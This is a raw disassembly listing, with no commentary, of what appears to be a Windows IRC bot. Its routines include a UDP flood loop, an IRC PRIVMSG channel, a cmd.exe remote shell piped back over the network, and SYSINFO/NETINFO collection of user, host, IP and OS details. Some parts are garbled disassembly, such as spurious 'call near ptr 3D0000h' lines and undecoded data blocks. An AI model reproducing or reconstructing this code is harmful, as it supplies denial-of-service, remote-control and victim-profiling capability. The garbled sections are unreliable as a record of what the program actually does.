		pop	ecx
		push	ebx
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 2Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A387	proc near		; DATA XREF: seg000:0040FCB4o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_415D50
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_43A3F8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40A46C
		lea	eax, [ebp+var_B0]
		push	eax
		call	ds:dword_43A3FC	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40A465
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B4F0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A448
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D32
		add	esp, 14h


loc_40A448:				; CODE XREF: sub_40A387+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B151
		push	[ebp+var_20]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		sti


loc_40A465:				; CODE XREF: sub_40A387+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A46F
; ---------------------------------------------------------------------------


loc_40A46C:				; CODE XREF: sub_40A387+6Ej
		lea	eax, [ebp+arg_0]


loc_40A46F:				; CODE XREF: sub_40A387+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40A48A
		call	sub_415529
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A48D
; ---------------------------------------------------------------------------


loc_40A48A:				; CODE XREF: sub_40A387+F0j
		push	[ebp+var_24]


loc_40A48D:				; CODE XREF: sub_40A387+101j
		call	ds:dword_43A378	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40A49F
		mov	[ebp+var_24], esi


loc_40A49F:				; CODE XREF: sub_40A387+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40A4AC
		mov	[ebp+var_24], eax


loc_40A4AC:				; CODE XREF: sub_40A387+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40A4C0
		mov	[ebp+var_28], esi


loc_40A4C0:				; CODE XREF: sub_40A387+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40A4E1


loc_40A4C7:				; CODE XREF: sub_40A387+158j
		call	sub_415529
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A4C7


loc_40A4E1:				; CODE XREF: sub_40A387+13Ej
					; sub_40A387+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40A540
		push	0Bh
		pop	esi


loc_40A4EE:				; CODE XREF: sub_40A387+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	ds:dword_43A3DC	; sendto
		push	[ebp+var_28]
		call	ds:dword_421060	; Sleep
		dec	esi
		jnz	short loc_40A4EE
		cmp	[ebp+var_24], edi
		jnz	short loc_40A4E1
		call	sub_415529
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_E], ax
		jmp	short loc_40A4E1
; ---------------------------------------------------------------------------


loc_40A540:				; CODE XREF: sub_40A387+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B4B0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A580
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412D32
		add	esp, 14h


loc_40A580:				; CODE XREF: sub_40A387+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B151
		push	[ebp+var_20]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		std
sub_40A387	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A59D	proc near		; CODE XREF: seg000:0040A683p
					; sub_40A7E1+Cp
		mov	eax, ds:dword_43A6C4
		push	esi
		mov	esi, ds:dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5B1
		push	eax
		call	esi	; CloseHandle


loc_40A5B1:				; CODE XREF: sub_40A59D+Fj
		mov	eax, ds:dword_43A6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5BE
		push	eax
		call	esi	; CloseHandle


loc_40A5BE:				; CODE XREF: sub_40A59D+1Cj
		mov	eax, ds:dword_43A6C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A5CB
		push	eax
		call	esi	; CloseHandle


loc_40A5CB:				; CODE XREF: sub_40A59D+29j
		pop	esi
		retn
sub_40A59D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5CD	proc near		; CODE XREF: seg000:0040B67Fp
					; seg000:0041133Ep

var_17F68A40	= byte ptr -17F68A40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CD0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_43A6C8
		call	near ptr 3D0000h
		xchg	al, [ebp+var_17F68A40]
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		push	1
		pop	eax
		leave
		retn
sub_40A5CD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_438F9C
		push	dword ptr [ebp+0Ch]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A648
		push	7D0h
		call	ds:dword_421060	; Sleep
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0Ch]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_40A65F
; ---------------------------------------------------------------------------


loc_40A648:				; CODE XREF: seg000:0040A61Fj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40A65F:				; CODE XREF: seg000:0040A646j
		lea	eax, [ebp-200h]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3C8	; send
		test	eax, eax
		jg	short loc_40A688
		call	sub_40A59D


loc_40A688:				; CODE XREF: seg000:0040A681j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A68C:				; DATA XREF: sub_40A7E1+170o
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43A6D0
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_43A6C4
		call	near ptr 3D0000h
		or	[ebp-647BF040h], al
; ---------------------------------------------------------------------------
		dd 39000000h, 2B75FC7Dh, 50F8458Dh, 0A6C035FFh,	15E80043h
		dd 8FFFFC59h, 0D74C085h, 3F87D81h, 0F000001h, 9985h, 0FF0A6A00h
		dd 42106015h, 339DEB00h, 0FC7D39C0h, 0BC801076h, 0FFFDF405h
		dd 54740AFFh, 0FC453B40h, 7589F072h, 858D56FCh,	0FFFFFDF4h
		dd 21E85057h, 830000AEh, 458D0CC4h, 0FF5057F4h,	858DFC75h
		dd 0FFFFFDF4h, 0C435FF50h, 0FF0043A6h, 42106815h, 74C08500h
		dd 0F4858D6Dh, 50FFFFFDh, 435FF53h, 0E80043A7h,	0FFFFFEA1h
		dd 0E90CC483h, 0FFFFFF38h, 0FC458940h, 0BC68AFEBh, 530042B5h
		dd 0A70435FFh, 82E80043h, 0FFFFFFFEh, 0AE80875h, 830000ABh
		dd 16A10C4h, 0FC586BE8h, 2E8E6FFh, 68FFFFFEh, 42B580h
		dd 435FF53h, 0E80043A7h, 0FFFFFE59h, 0E80875FFh, 0AAE1h
		dd 5710C483h, 0FC5843E8h, 3C68CFFFh, 530042B5h,	0A70435FFh
		dd 36E80043h, 0FFFFFFFEh, 0BEE80875h, 830000AAh, 0E85710C4h
		dd 0FFFC5820h
; ---------------------------------------------------------------------------
		scasd

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7E1	proc near		; CODE XREF: seg000:0040B5CEp
					; seg000:00411FFAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A59D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_43A434	; SearchPathA
		test	eax, eax
		jz	loc_40A8DB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A8DB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A8DB
		mov	edi, ds:dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43A6C8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	near ptr 3D0000h
		pop	es
		test	eax, eax
		jz	short loc_40A8DB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		mov	eax, [ebp+var_4]


loc_40A899:				; DATA XREF: seg002:00424ED4o
					; seg002:00424F18o ...
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_438F9C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 3D0000h
		mov	ds:875C085h, eax


loc_40A8DB:				; CODE XREF: sub_40A7E1+2Fj
					; sub_40A7E1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A991
; ---------------------------------------------------------------------------
		push	[ebp+var_4]
		mov	edi, ds:dword_42106C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_43A6C4, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_43A6CC, eax
		mov	eax, [ebp+var_2C]
		mov	ds:dword_43A6C0, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_43A704, eax
		jz	short loc_40A91D
		push	[ebp+arg_4]
		jmp	short loc_40A91E
; ---------------------------------------------------------------------------


loc_40A91D:				; CODE XREF: sub_40A7E1+135j
		push	ebx


loc_40A91E:				; CODE XREF: sub_40A7E1+13Aj
		push	offset dword_43A6D0
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B648
		call	sub_414F79
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_43F510[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset loc_40A68C
		push	esi
		push	esi
		call	ds:dword_42108C	; CreateThread
		cmp	eax, esi
		mov	ds:dword_43F51C[edi], eax
		jnz	short loc_40A98F
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B600
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B151
		add	esp, 10h


loc_40A98F:				; CODE XREF: sub_40A7E1+185j
		xor	eax, eax


loc_40A991:				; CODE XREF: sub_40A7E1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A996	proc near		; CODE XREF: sub_407119+74p
					; sub_40AAB5+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43A70C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_415A4A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A996	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9FF	proc near		; CODE XREF: sub_40AAB5+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40AA07:				; CODE XREF: sub_40A9FF+2Fj
					; sub_40A9FF+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_421060	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4172C0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40AA07
		jb	short loc_40AA36
		cmp	ebx, esi
		ja	short loc_40AA07


loc_40AA36:				; CODE XREF: sub_40A9FF+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_417240
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40AAA9
		jb	short loc_40AA55
		cmp	esi, 50h
		jnb	short loc_40AA5A


loc_40AA55:				; CODE XREF: sub_40A9FF+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40AA5A:				; CODE XREF: sub_40A9FF+54j
		test	ecx, ecx
		ja	short loc_40AAA9
		jb	short loc_40AA65
		cmp	esi, 47h
		jnb	short loc_40AA6A


loc_40AA65:				; CODE XREF: sub_40A9FF+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40AA6A:				; CODE XREF: sub_40A9FF+64j
		test	ecx, ecx
		ja	short loc_40AAA9
		jb	short loc_40AA75
		cmp	esi, 37h
		jnb	short loc_40AA7A


loc_40AA75:				; CODE XREF: sub_40A9FF+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40AA7A:				; CODE XREF: sub_40A9FF+74j
		test	ecx, ecx
		ja	short loc_40AAA9
		jb	short loc_40AA85
		cmp	esi, 26h
		jnb	short loc_40AA8A


loc_40AA85:				; CODE XREF: sub_40A9FF+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40AA8A:				; CODE XREF: sub_40A9FF+84j
		test	ecx, ecx
		ja	short loc_40AAA9
		jb	short loc_40AA95
		cmp	esi, 1Eh
		jnb	short loc_40AA9A


loc_40AA95:				; CODE XREF: sub_40A9FF+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40AA9A:				; CODE XREF: sub_40A9FF+94j
		test	ecx, ecx
		ja	short loc_40AAA9
		jb	short loc_40AAA5
		cmp	esi, 0Ah
		jnb	short loc_40AAA9


loc_40AAA5:				; CODE XREF: sub_40A9FF+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40AAA9:				; CODE XREF: sub_40A9FF+4Dj
					; sub_40A9FF+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40A9FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAB5	proc near		; CODE XREF: seg000:0041225Ap

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_438F9C
		mov	[ebp+var_CC], 94h
		call	ds:dword_42110C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AB3C
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB18
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AB02
		mov	[ebp+var_4], offset a95	; "95"


loc_40AB02:				; CODE XREF: sub_40AAB5+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40ABB7
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40AB88
; ---------------------------------------------------------------------------


loc_40AB18:				; CODE XREF: sub_40AAB5+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AB2A
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB2A:				; CODE XREF: sub_40AAB5+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AB78
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB3C:				; CODE XREF: sub_40AAB5+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AB78
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AB56
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40AAB5+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AB68
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AB7F
; ---------------------------------------------------------------------------


loc_40AB68:				; CODE XREF: sub_40AAB5+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AB7F


loc_40AB78:				; CODE XREF: sub_40AAB5+7Cj
					; sub_40AAB5+8Ej
		mov	[ebp+var_4], offset dword_42B798


loc_40AB7F:				; CODE XREF: sub_40AAB5+73j
					; sub_40AAB5+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40ABB7


loc_40AB88:				; CODE XREF: sub_40AAB5+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40ABB7
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B790
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40ABB7:				; CODE XREF: sub_40AAB5+54j
					; sub_40AAB5+D1j ...
		mov	ax, ds:word_42B78C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_43A264
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40ABF0
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40ABF0:				; CODE XREF: sub_40AAB5+12Cj
		push	[ebp+arg_4]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43A330	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40AC19
		push	dword ptr [eax]
		jmp	short loc_40AC1E
; ---------------------------------------------------------------------------


loc_40AC19:				; CODE XREF: sub_40AAB5+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40AC1E:				; CODE XREF: sub_40AAB5+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4154CD
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 3D0000h
		dec	ebx
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 3D0000h
		and	al, 8Dh
		test	[esi+edi*8+466AFFFFh], esp
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 3D0000h
		sub	dword ptr [edx+20h], 53C8458Dh
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 3D0000h
		cli
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417328
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40C30C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A996
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40A9FF
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A4A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD69	proc near		; CODE XREF: seg000:00411259p
					; seg000:00412288p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		cmp	ds:dword_43A460, 0
		jnz	short loc_40ADDD
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_43A248	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_40ADBE
		lea	eax, [ebp+var_8C]
		push	offset dword_42B80C
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40ADBE:				; CODE XREF: sub_40AD69+40j
		test	[ebp+var_C], 1
		jz	short loc_40ADD6
		push	offset dword_42B804


loc_40ADC9:				; CODE XREF: sub_40AD69+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_40ADFC
; ---------------------------------------------------------------------------


loc_40ADD6:				; CODE XREF: sub_40AD69+59j
		push	offset dword_42B800
		jmp	short loc_40ADC9
; ---------------------------------------------------------------------------


loc_40ADDD:				; CODE XREF: sub_40AD69+28j
		mov	esi, offset off_42B7FC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_40ADFC:				; CODE XREF: sub_40AD69+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_415A4A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AD69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE2F	proc near		; DATA XREF: seg000:0041142Eo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
